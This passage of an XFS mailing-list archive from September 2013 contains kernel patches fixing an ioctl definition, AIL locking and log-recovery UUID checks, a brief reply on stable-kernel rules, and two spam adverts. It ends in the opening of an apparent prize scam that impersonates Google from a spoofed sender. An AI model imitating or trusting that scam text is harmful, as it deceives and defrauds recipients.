ZI4CUEBFUyXLKyPP for ; Mon, 23 Sep 2013 23:01:53 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AoMGADEqQVJ5LCC0/2dsb2JhbABagweuK5UoF3SCJQEBBVYzCBgxOQMbGYgEvGiOBoFohAgDojSHP4M2KoEs Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail07.adl2.internode.on.net with ESMTP; 24 Sep 2013 15:31:23 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VOLgU-0007K7-Vu for xfs@oss.sgi.com; Tue, 24 Sep 2013 16:01:19 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VOLgU-0004uo-VA for xfs@oss.sgi.com; Tue, 24 Sep 2013 16:01:18 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 4/5] xfs: fix XFS_IOC_FREE_EOFBLOCKS definition Date: Tue, 24 Sep 2013 16:01:15 +1000 X-ASG-Orig-Subj: [PATCH 4/5] xfs: fix XFS_IOC_FREE_EOFBLOCKS definition Message-Id: <1380002476-18839-5-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1380002476-18839-1-git-send-email-david@fromorbit.com> References: <1380002476-18839-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1380002512 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140874 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner It uses a kernel internal structure in it's definition rather than the user visible structure that is passed to the ioctl. Signed-off-by: Dave Chinner --- fs/xfs/xfs_fs.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fs/xfs/xfs_fs.h b/fs/xfs/xfs_fs.h index 1edb5cc..18272c7 100644 --- a/fs/xfs/xfs_fs.h +++ b/fs/xfs/xfs_fs.h @@ -515,7 +515,7 @@ typedef struct xfs_swapext /* XFS_IOC_GETBIOSIZE ---- deprecated 47 */ #define XFS_IOC_GETBMAPX _IOWR('X', 56, struct getbmap) #define XFS_IOC_ZERO_RANGE _IOW ('X', 57, struct xfs_flock64) -#define XFS_IOC_FREE_EOFBLOCKS _IOR ('X', 58, struct xfs_eofblocks) +#define XFS_IOC_FREE_EOFBLOCKS _IOR ('X', 58, struct xfs_fs_eofblocks) /* * ioctl commands that replace IRIX syssgi()'s -- 1.8.3.2 From dave@fromorbit.com Tue Sep 24 01:01:55 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 8EADE29DFC for ; Tue, 24 Sep 2013 01:01:55 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 7C2CC30405F for ; Mon, 23 Sep 2013 23:01:52 -0700 (PDT) X-ASG-Debug-ID: 1380002506-04cbb02c3c135afd0002-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id cYEl3hhdsTwvpA1S for ; Mon, 23 Sep 2013 23:01:51 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AoMGADEqQVJ5LCC0/2dsb2JhbABagweuK5UoF3SCJQEBBScvMwgYMTkDGxmIBLxoj26ECAOpc4M2Kg Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail07.adl2.internode.on.net with ESMTP; 24 Sep 2013 15:31:23 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VOLgU-0007K5-Um for xfs@oss.sgi.com; Tue, 24 Sep 2013 16:01:18 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VOLgU-0004ue-Ty for xfs@oss.sgi.com; Tue, 24 Sep 2013 16:01:18 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 2/5] xfs: lock the AIL before removing the buffer item Date: Tue, 24 Sep 2013 16:01:13 +1000 X-ASG-Orig-Subj: [PATCH 2/5] xfs: lock the AIL before removing the buffer item Message-Id: <1380002476-18839-3-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1380002476-18839-1-git-send-email-david@fromorbit.com> References: <1380002476-18839-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1380002510 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140874 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Regression introduced by commit 46f9d2e ("xfs: aborted buf items can be in the AIL") which fails to lock the AIL before removing the item. Spinlock debugging throws a warning about this. Signed-off-by: Dave Chinner --- fs/xfs/xfs_buf_item.c | 1 + 1 file changed, 1 insertion(+) diff --git a/fs/xfs/xfs_buf_item.c b/fs/xfs/xfs_buf_item.c index 88c5ea7..f1d85cf 100644 --- a/fs/xfs/xfs_buf_item.c +++ b/fs/xfs/xfs_buf_item.c @@ -628,6 +628,7 @@ xfs_buf_item_unlock( else if (aborted) { ASSERT(XFS_FORCED_SHUTDOWN(lip->li_mountp)); if (lip->li_flags & XFS_LI_IN_AIL) { + spin_lock(&lip->li_ailp->xa_lock); xfs_trans_ail_delete(lip->li_ailp, lip, SHUTDOWN_LOG_IO_ERROR); } -- 1.8.3.2 From dave@fromorbit.com Tue Sep 24 01:01:55 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 0E3C47CBF for ; Tue, 24 Sep 2013 01:01:55 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 90BD2AC006 for ; Mon, 23 Sep 2013 23:01:54 -0700 (PDT) X-ASG-Debug-ID: 1380002506-04cbb02c3c135afd0003-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id SuTMX4x5xi5pQCY1 for ; Mon, 23 Sep 2013 23:01:52 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AoMGADEqQVJ5LCC0/2dsb2JhbABagweuK5UoF3SCJQEBBScvMwgYMTkDGxmIBLxok3YDqXODNio Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail07.adl2.internode.on.net with ESMTP; 24 Sep 2013 15:31:23 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VOLgV-0007K8-0W for xfs@oss.sgi.com; Tue, 24 Sep 2013 16:01:19 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VOLgU-0004ut-Vg for xfs@oss.sgi.com; Tue, 24 Sep 2013 16:01:18 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 5/5] xfs: log recovery lsn ordering needs uuid check Date: Tue, 24 Sep 2013 16:01:16 +1000 X-ASG-Orig-Subj: [PATCH 5/5] xfs: log recovery lsn ordering needs uuid check Message-Id: <1380002476-18839-6-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1380002476-18839-1-git-send-email-david@fromorbit.com> References: <1380002476-18839-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1380002512 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140874 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner After a fair number of xfstests runs, xfs/182 started to fail regularly with a corrupted directory - a directory read verifier was failing after recovery because it found a block with a XARM magic number (remote attribute block) rather than a directory data block. The first time I saw this repeated failure I did /something/ and the problem went away, so I was never able to find the underlying problem. Test xfs/182 failed again today, and I found the root cause before I did /something else/ that made it go away. Tracing indicated that the block in question was being correctly logged, the log was being flushed by sync, but the buffer was not being written back before the shutdown occurred. Tracing also indicated that log recovery was also reading the block, but then never writing it before log recovery invalidated the cache, indicating that it was not modified by log recovery. More detailed analysis of the corpse indicated that the filesystem had a uuid of "a4131074-1872-4cac-9323-2229adbcb886" but the XARM block had a uuid of "8f32f043-c3c9-e7f8-f947-4e7f989c05d3", which indicated it was a block from an older filesystem. The reason that log recovery didn't replay it was that the LSN in the XARM block was larger than the LSN of the transaction being replayed, and so the block was not overwritten by log recovery. Hence, log recovery cant blindly trust the magic number and LSN in the block - it must verify that it belongs to the filesystem being recovered before using the LSN. i.e. if the UUIDs don't match, we need to unconditionally recovery the change held in the log. This patch was first tested on a block device that was repeatedly causing xfs/182 to fail with the same failure on the same block with the same directory read corruption signature (i.e. XARM block). It did not fail, and hasn't failed since. Signed-off-by: Dave Chinner --- fs/xfs/xfs_log_recover.c | 73 ++++++++++++++++++++++++++++++++++++++---------- 1 file changed, 59 insertions(+), 14 deletions(-) diff --git a/fs/xfs/xfs_log_recover.c b/fs/xfs/xfs_log_recover.c index dabda95..cc17987 100644 --- a/fs/xfs/xfs_log_recover.c +++ b/fs/xfs/xfs_log_recover.c @@ -1970,6 +1970,13 @@ xlog_recover_do_inode_buffer( * magic number. If we don't recognise the magic number in the buffer, then * return a LSN of -1 so that the caller knows it was an unrecognised block and * so can recover the buffer. + * + * Note: we cannot rely solely on magic number matches to determine that the + * buffer has a valid LSN - we also need to verify that it belongs to this + * filesystem, so we need to extract the object's LSN and compare it to that + * which we read from the superblock. If the UUIDs don't match, then we've got a + * stale metadata block from an old filesystem instance that we need to recover + * over the top of. */ static xfs_lsn_t xlog_recover_get_buf_lsn( @@ -1980,6 +1987,8 @@ xlog_recover_get_buf_lsn( __uint16_t magic16; __uint16_t magicda; void *blk = bp->b_addr; + uuid_t *uuid; + xfs_lsn_t lsn = -1; /* v4 filesystems always recover immediately */ if (!xfs_sb_version_hascrc(&mp->m_sb)) @@ -1992,43 +2001,79 @@ xlog_recover_get_buf_lsn( case XFS_ABTB_MAGIC: case XFS_ABTC_MAGIC: case XFS_IBT_CRC_MAGIC: - case XFS_IBT_MAGIC: - return be64_to_cpu( - ((struct xfs_btree_block *)blk)->bb_u.s.bb_lsn); + case XFS_IBT_MAGIC: { + struct xfs_btree_block *btb = blk; + + lsn = be64_to_cpu(btb->bb_u.s.bb_lsn); + uuid = &btb->bb_u.s.bb_uuid; + break; + } case XFS_BMAP_CRC_MAGIC: - case XFS_BMAP_MAGIC: - return be64_to_cpu( - ((struct xfs_btree_block *)blk)->bb_u.l.bb_lsn); + case XFS_BMAP_MAGIC: { + struct xfs_btree_block *btb = blk; + + lsn = be64_to_cpu(btb->bb_u.l.bb_lsn); + uuid = &btb->bb_u.l.bb_uuid; + break; + } case XFS_AGF_MAGIC: - return be64_to_cpu(((struct xfs_agf *)blk)->agf_lsn); + lsn = be64_to_cpu(((struct xfs_agf *)blk)->agf_lsn); + uuid = &((struct xfs_agf *)blk)->agf_uuid; + break; case XFS_AGFL_MAGIC: - return be64_to_cpu(((struct xfs_agfl *)blk)->agfl_lsn); + lsn = be64_to_cpu(((struct xfs_agfl *)blk)->agfl_lsn); + uuid = &((struct xfs_agfl *)blk)->agfl_uuid; + break; case XFS_AGI_MAGIC: - return be64_to_cpu(((struct xfs_agi *)blk)->agi_lsn); + lsn = be64_to_cpu(((struct xfs_agi *)blk)->agi_lsn); + uuid = &((struct xfs_agi *)blk)->agi_uuid; + break; case XFS_SYMLINK_MAGIC: - return be64_to_cpu(((struct xfs_dsymlink_hdr *)blk)->sl_lsn); + lsn = be64_to_cpu(((struct xfs_dsymlink_hdr *)blk)->sl_lsn); + uuid = &((struct xfs_dsymlink_hdr *)blk)->sl_uuid; + break; case XFS_DIR3_BLOCK_MAGIC: case XFS_DIR3_DATA_MAGIC: case XFS_DIR3_FREE_MAGIC: - return be64_to_cpu(((struct xfs_dir3_blk_hdr *)blk)->lsn); + lsn = be64_to_cpu(((struct xfs_dir3_blk_hdr *)blk)->lsn); + uuid = &((struct xfs_dir3_blk_hdr *)blk)->uuid; + break; case XFS_ATTR3_RMT_MAGIC: - return be64_to_cpu(((struct xfs_attr3_rmt_hdr *)blk)->rm_lsn); + lsn = be64_to_cpu(((struct xfs_attr3_rmt_hdr *)blk)->rm_lsn); + uuid = &((struct xfs_attr3_rmt_hdr *)blk)->rm_uuid; + break; case XFS_SB_MAGIC: - return be64_to_cpu(((struct xfs_dsb *)blk)->sb_lsn); + lsn = be64_to_cpu(((struct xfs_dsb *)blk)->sb_lsn); + uuid = &((struct xfs_dsb *)blk)->sb_uuid; + break; default: break; } + if (lsn != (xfs_lsn_t)-1) { + if (!uuid_equal(&mp->m_sb.sb_uuid, uuid)) + goto recover_immediately; + return lsn; + } + magicda = be16_to_cpu(((struct xfs_da_blkinfo *)blk)->magic); switch (magicda) { case XFS_DIR3_LEAF1_MAGIC: case XFS_DIR3_LEAFN_MAGIC: case XFS_DA3_NODE_MAGIC: - return be64_to_cpu(((struct xfs_da3_blkinfo *)blk)->lsn); + lsn = be64_to_cpu(((struct xfs_da3_blkinfo *)blk)->lsn); + uuid = &((struct xfs_da3_blkinfo *)blk)->uuid; + break; default: break; } + if (lsn != (xfs_lsn_t)-1) { + if (!uuid_equal(&mp->m_sb.sb_uuid, uuid)) + goto recover_immediately; + return lsn; + } + /* * We do individual object checks on dquot and inode buffers as they * have their own individual LSN records. Also, we could have a stale -- 1.8.3.2 From BATV+2e16908e4c43c1abdca9+3684+infradead.org+hch@bombadil.srs.infradead.org Tue Sep 24 03:48:58 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 990A17F3F for ; Tue, 24 Sep 2013 03:48:58 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 6B5588F8066 for ; Tue, 24 Sep 2013 01:48:55 -0700 (PDT) X-ASG-Debug-ID: 1380012534-04bdf05387448d40001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id BhJCGlKIedrUh0jj (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 24 Sep 2013 01:48:54 -0700 (PDT) X-Barracuda-Envelope-From: BATV+2e16908e4c43c1abdca9+3684+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VOOIU-0005Vz-1d; Tue, 24 Sep 2013 08:48:42 +0000 Date: Tue, 24 Sep 2013 01:48:42 -0700 From: Christoph Hellwig To: Joe Perches Cc: Christoph Hellwig , David Miller , stephen@networkplumber.org, netdev@vger.kernel.org, Mikulas Patocka , Greg Kroah-Hartman , Rob Landley , linux-doc@vger.kernel.org, LKML , xfs@oss.sgi.com Subject: Re: [PATCH] stable_kernel_rules.txt: Exclude networking from stable rules Message-ID: <20130924084842.GB11858@infradead.org> X-ASG-Orig-Subj: Re: [PATCH] stable_kernel_rules.txt: Exclude networking from stable rules References: <20130919.135628.1201613770803318193.davem@davemloft.net> <1379615474.22168.13.camel@joe-AO722> <20130922185104.GA7515@infradead.org> <1379968445.3575.60.camel@joe-AO722> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1379968445.3575.60.camel@joe-AO722> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1380012534 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140878 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Sep 23, 2013 at 01:34:05PM -0700, Joe Perches wrote: > Maybe adding a mechanism to MAINTAINERS would be better. > Maybe a default B: (backport?) of stable@vger.kernel.org > with a per-subsystem override? Sounds fine to me. From 2b76327374384e2f6439373459687264526c446f58413d3d@campaignsend.net Tue Sep 24 04:04:31 2013 Return-Path: <2b76327374384e2f6439373459687264526c446f58413d3d@campaignsend.net> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: *** X-Spam-Status: No, score=3.2 required=5.0 tests=ENGLISH_UCE_SUBJECT, HTML_IMAGE_RATIO_02,HTML_MESSAGE autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 92CE47F3F for ; Tue, 24 Sep 2013 04:04:31 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 81FC28F8050 for ; Tue, 24 Sep 2013 02:04:28 -0700 (PDT) X-ASG-Debug-ID: 1380013466-04cbb02c3a1364b50001-w1Z2WR Received: from m6.campaignsend.net ([199.187.211.168]) by cuda.sgi.com with ESMTP id UCnB7uAK3j9UDIzk for ; Tue, 24 Sep 2013 02:04:26 -0700 (PDT) X-Barracuda-Envelope-From: 2b76327374384e2f6439373459687264526c446f58413d3d@campaignsend.net X-Barracuda-Apparent-Source-IP: 199.187.211.168 Received: by m6.campaignsend.net id h85aps0s6g4t for ; Tue, 24 Sep 2013 02:04:29 -0700 (envelope-from <2b76327374384e2f6439373459687264526c446f58413d3d@campaignsend.net>) From: "Customer Care" To: "linux-xfs@oss.sgi.com" Reply-To: customercare@cerebos.com.sg Date: Tue, 24 Sep 2013 09:31:27 +0100 Subject: InnerShine RubyCollagen October Special MIME-Version: 1.0 X-ASG-Orig-Subj: InnerShine RubyCollagen October Special Content-Type: multipart/alternative; boundary="_=aspNetEmail=_75f73357a1214e67809f7436d4146248" X-Mailer: aspNetEmail ver 3.5.2.0 Message-ID: X-Barracuda-Connect: UNKNOWN[199.187.211.168] X-Barracuda-Start-Time: 1380013466 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.65 X-Barracuda-Spam-Status: No, SCORE=0.65 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_IMAGE_RATIO_02, HTML_MESSAGE, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140879 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.55 HTML_IMAGE_RATIO_02 BODY: HTML has a low ratio of text to image area 0.00 HTML_MESSAGE BODY: HTML included in message 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS --_=aspNetEmail=_75f73357a1214e67809f7436d4146248 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable Please add BRAND=27SWorld (customercare=40cerebos=2Ecom=2Esg) to your add= ress book to ensure you receive emails in your inbox=2E =0D=0A=0D=0AHavin= g trouble reading this email? View it in your browser=2E=0D=0A=0D=0A=0D=0A= Share good living - Forward this to a friend View it in your browser=2E=0D= =0A=0D=0AYou are receiving this email because you have subscribed to BRAN= D=27S World Membership=2E If you no longer wish to receive emails from BR= AND=27S World, =0D=0A please click here=2E --_=aspNetEmail=_75f73357a1214e67809f7436d4146248 Content-Type: text/html; charset="utf-8" Content-Transfer-Encoding: quoted-printable <=21DOCTYPE HTML PUBLIC =22-//W3C//DTD HTML 4=2E0 Transitional//EN=22>=0A= =0A

    Please add BRAND=27= SWorld (customercare=40cerebos=2Ecom=2Esg) to your =0A address book to= ensure you receive emails in your inbox=2E=0A =0A

    Having =0A trouble reading this email? = View =0A it in your browser=2E=0AWelcome You are = now a BRAND=27S=26reg; World Member=0A=0A=0A=0A=0A= =0A =0A =0A
    3D=22RubyCollagen
    =0A =0A=0A =0A =0A
    3D=22RubyCollagen
    =0A=0A= =0A =0A =0A
    =0A= =0A =0A =0A
    3D=229
    =0A=0A=09=0A=09=09= =0A =0A =0A
    3D=22Purchase
    =0A =0A =0A= =0A
    =0A
    =0A

    Share good living - Forward this to a friend Vi= ew =0A it in your browser=2E=0A

    You are receiving this email because you have subscribe= d to BRAND=27S World Membership=2E=0A If you no longer wish to receive em= ails from BRAND=27S World,
    please click here=2E <= /a>

    =0A =0A=0A

    --_=aspNetEmail=_75f73357a1214e67809f7436d4146248-- From tg39@topeasy23.eicp.net Tue Sep 24 06:41:02 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.2 required=5.0 tests=HTML_MESSAGE,MIME_HTML_ONLY autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D680F7F3F for ; Tue, 24 Sep 2013 06:41:02 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id B263D304048 for ; Tue, 24 Sep 2013 04:41:01 -0700 (PDT) X-ASG-Debug-ID: 1380022858-04cb6c153d1370ce0001-NocioJ Received: from topeasy23.eicp.net ([182.96.172.207]) by cuda.sgi.com with SMTP id HANQtdAf9A4NhEPK for ; Tue, 24 Sep 2013 04:40:59 -0700 (PDT) X-Barracuda-Envelope-From: tg39@topeasy23.eicp.net X-Barracuda-Apparent-Source-IP: 182.96.172.207 Received: from 7E82DB1883AD4D3[127.0.0.1] by 7E82DB1883AD4D3[127.0.0.1] (SMTPD32); Tue, 24 Sep 2013 19:40:42 +0800 From: "tg39@topeasy23.eicp.net" Subject: RE: SUNMAS Health Care TENS/EMS Machine To: "xfs" X-ASG-Orig-Subj: RE: SUNMAS Health Care TENS/EMS Machine MIME-Version: 1.0 Sender: tg39@topeasy23.eicp.net Reply-To: sangmaisi3@163.com Date: Tue, 24 Sep 2013 19:40:42 +0800 Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Barracuda-Connect: UNKNOWN[182.96.172.207] X-Barracuda-Start-Time: 1380022858 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.24 X-Barracuda-Spam-Status: No, SCORE=0.24 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE, MIME_HTML_ONLY, MISSING_MID, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140881 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.14 MISSING_MID Missing Message-Id: header 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.00 HTML_MESSAGE BODY: HTML included in message 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS Message-Id: <20130924114101.E05451296197@cuda.sgi.com>

    Dear Purchasing Manager,

    Sunmas (H.K) Trading Limited which is specialized in designing and manufacturing Health care products. 

    The main product list is:

    1. Low Frequency massager product: TENS, EMS
    2. Rehabilitation therapy supplies: Therapy device
    3. Fitness & Body Building product: Fitness Belt
    4. Fical & Beauty product: Face massager
    5. Far infrared heating jade cushion: Jade mat

    If you would like to know more about the health care products, please feel free to contact us any time. Due to a sales as I, it is my biggest pleasure and responsibility to help my old and new clients to buy the high quality goods with best prices.


    Faithfully,

    Sunmas (H.K) Trading Limited

    EMAIL TO US NOW!

    From romzi@mbi.gov.my Tue Sep 24 06:56:07 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=unavailable version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E512F7F50 for ; Tue, 24 Sep 2013 06:56:07 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id C270A8F8066 for ; Tue, 24 Sep 2013 04:56:03 -0700 (PDT) X-ASG-Debug-ID: 1380023755-04cbb02c3a136df00001-NocioJ Received: from mail.mbi.gov.my (mail.mbi.gov.my [202.185.140.45]) by cuda.sgi.com with ESMTP id JTuVeSqTzs2vqnM5; Tue, 24 Sep 2013 04:55:56 -0700 (PDT) X-Barracuda-Envelope-From: romzi@mbi.gov.my X-Barracuda-Apparent-Source-IP: 202.185.140.45 Received: from localhost (localhost [127.0.0.1]) by mail.mbi.gov.my (Postfix) with ESMTP id 40CD7328AFE; Tue, 24 Sep 2013 17:37:38 +0800 (MYT) X-Virus-Scanned: amavisd-new at Received: from mail.mbi.gov.my ([127.0.0.1]) by localhost (mail.mbi.gov.my [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id yIKeehhrHGHe; Tue, 24 Sep 2013 17:37:37 +0800 (MYT) Received: from mail.mbi.gov.my (mail.mbi.gov.my [64.0.0.3]) by mail.mbi.gov.my (Postfix) with ESMTP id EB960328ACB; Tue, 24 Sep 2013 17:36:35 +0800 (MYT) Date: Tue, 24 Sep 2013 17:36:30 +0800 (MYT) From: =?utf-8?Q?Google_Incorporation=C2=AE?= Reply-To: "drummond13.svp@careceo.com" Message-ID: <364099938.197651380015390817.JavaMail.root@mail.mbi.gov.my> Subject: Powered by Google MIME-Version: 1.0 X-ASG-Orig-Subj: Powered by Google Content-Type: multipart/mixed; boundary="----=_Part_6020_1052872574.1380015390808" X-Originating-IP: [172.163.8.57] To: undisclosed-recipients:; X-Barracuda-Connect: mail.mbi.gov.my[202.185.140.45] X-Barracuda-Start-Time: 1380023755 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140882 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- ------=_Part_6020_1052872574.1380015390808 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable Dear Google User, You have been selected as a 